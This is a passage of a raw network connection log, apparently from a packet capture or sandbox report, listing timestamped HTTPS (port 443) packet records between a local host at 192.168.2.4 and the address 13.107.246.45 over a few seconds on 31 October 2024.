Oct 31, 2024 17:27:21.507719994 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.508117914 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.508193016 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.508251905 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.508251905 CET	62961	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.508284092 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.508306026 CET	443	62961	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.511605024 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.511637926 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.511739016 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.511917114 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.511936903 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.786906004 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.787539005 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.787563086 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.788043976 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.788048983 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.876197100 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.876826048 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.876876116 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.877283096 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.877310991 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.904017925 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.904495001 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.904515982 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.905040026 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.905045986 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.924871922 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.924988985 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.925041914 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.925059080 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.925096989 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.925147057 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.925467014 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.925483942 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.925492048 CET	62962	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.925497055 CET	443	62962	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.928358078 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.928396940 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.928458929 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.928591013 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.928602934 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.946208000 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.953325987 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.953337908 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:21.953833103 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:21.953839064 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.007230043 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.008359909 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.008428097 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.008656979 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.008656979 CET	62963	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.008704901 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.008732080 CET	443	62963	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.012811899 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.012857914 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.012929916 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.013068914 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.013086081 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.035147905 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.035209894 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.035249949 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.035362005 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.035379887 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.035393000 CET	62964	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.035399914 CET	443	62964	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.038048983 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.038080931 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.038165092 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.038295031 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.038309097 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.081387043 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.081461906 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.081521034 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.081790924 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.081808090 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.081824064 CET	62965	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.081829071 CET	443	62965	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.086375952 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.086406946 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.086638927 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.086638927 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.086666107 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.267271042 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.269826889 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.269848108 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.270347118 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.270351887 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.554609060 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.555005074 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.555053949 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.555213928 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.555213928 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.555453062 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.555474043 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.555485010 CET	62966	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.555490017 CET	443	62966	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.558547020 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.558582067 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.558655977 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.558795929 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.558809996 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.713285923 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.713871002 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.713886976 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.714404106 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.714409113 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.811304092 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.813045979 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.813074112 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.813530922 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.813534975 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.847356081 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.847856045 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.847944021 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.848161936 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.848180056 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.848196030 CET	62967	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.848201036 CET	443	62967	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.851058960 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.851113081 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.851207972 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.851433039 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.851447105 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.900815964 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.905028105 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.905055046 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.905566931 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.905571938 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.948893070 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.948921919 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.948965073 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.949012041 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.974659920 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.974678040 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.974701881 CET	62968	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.974706888 CET	443	62968	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.982523918 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.982566118 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:22.982707977 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.982939005 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:22.982950926 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.037389994 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.037463903 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.037676096 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.037708044 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.037708044 CET	62970	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.037724972 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.037739992 CET	443	62970	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.040327072 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.040358067 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.040453911 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.040599108 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.040611982 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.066222906 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.066613913 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.066632032 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.067071915 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.067076921 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.195632935 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.195832968 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.195899963 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.196017027 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.196033955 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.196079016 CET	62969	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.196084976 CET	443	62969	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.199197054 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.199240923 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.199450970 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.199634075 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.199650049 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.300990105 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.305128098 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.305150986 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.305666924 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.305674076 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.432698965 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.432816982 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.432879925 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.433069944 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.433084965 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.433118105 CET	62971	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.433123112 CET	443	62971	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.436389923 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.436409950 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.436491013 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.436666965 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.436678886 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.582231045 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.582906961 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.582931995 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.583429098 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.583435059 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.712398052 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.712438107 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.712493896 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.712532043 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.712563038 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.712822914 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.712841034 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.712851048 CET	62972	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.712856054 CET	443	62972	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.716049910 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.716090918 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.716181993 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.716358900 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.716372013 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.723294020 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.723685980 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.723711014 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:23.724181890 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:23.724185944 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.088350058 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.088426113 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.088606119 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.088731050 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.088747978 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.088757992 CET	62973	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.088762999 CET	443	62973	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.089281082 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.091979027 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.092009068 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.092384100 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.092406034 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.092428923 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.092570066 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.092581987 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.092875004 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.092881918 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.214790106 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.215370893 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.215414047 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.215879917 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.215898991 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.221726894 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.222002029 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.222011089 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.222356081 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.222362995 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.224080086 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.224107027 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.224159956 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.224215031 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.224389076 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.224409103 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.224420071 CET	62974	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.224426031 CET	443	62974	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.227507114 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.227529049 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.227621078 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.227761984 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.227776051 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.345985889 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.346050978 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.346309900 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.346369982 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.346369982 CET	62975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.346405029 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.346429110 CET	443	62975	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.349194050 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.349210024 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.349292994 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.349428892 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.349440098 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.353996992 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.354059935 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.354178905 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.354238987 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.354249001 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.354279041 CET	62976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.354283094 CET	443	62976	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.355973959 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.356007099 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.356065035 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.356158018 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.356168985 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.467612982 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.468955040 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.468970060 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.469434977 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.469439030 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.612278938 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.612581015 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.616574049 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.616636038 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.616648912 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.616657972 CET	62977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.616662979 CET	443	62977	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.619483948 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.619519949 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.619600058 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.619749069 CET	62982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.619762897 CET	443	62982	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.823455095 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.825100899 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.825129032 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.825622082 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.825625896 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.950825930 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.951087952 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.951165915 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.951425076 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.951443911 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.951453924 CET	62978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.951459885 CET	443	62978	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.954452991 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.954499006 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.954583883 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.954734087 CET	62983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.954747915 CET	443	62983	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.979506969 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.980077982 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.980092049 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:24.980586052 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:24.980591059 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.099204063 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.099922895 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.100442886 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.100470066 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.100497961 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.100516081 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.100941896 CET	62980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.100948095 CET	443	62980	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.100975037 CET	62981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.100980997 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.115581989 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.115674019 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.115757942 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.115968943 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.115994930 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.116012096 CET	62979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.116017103 CET	443	62979	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.119003057 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.119117022 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.119220018 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.119338036 CET	62984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:25.119374037 CET	443	62984	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.233526945 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.233591080 CET	443	62981	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:25.233640909 CET	62981	443	192.168.2.4	13.107.246.45
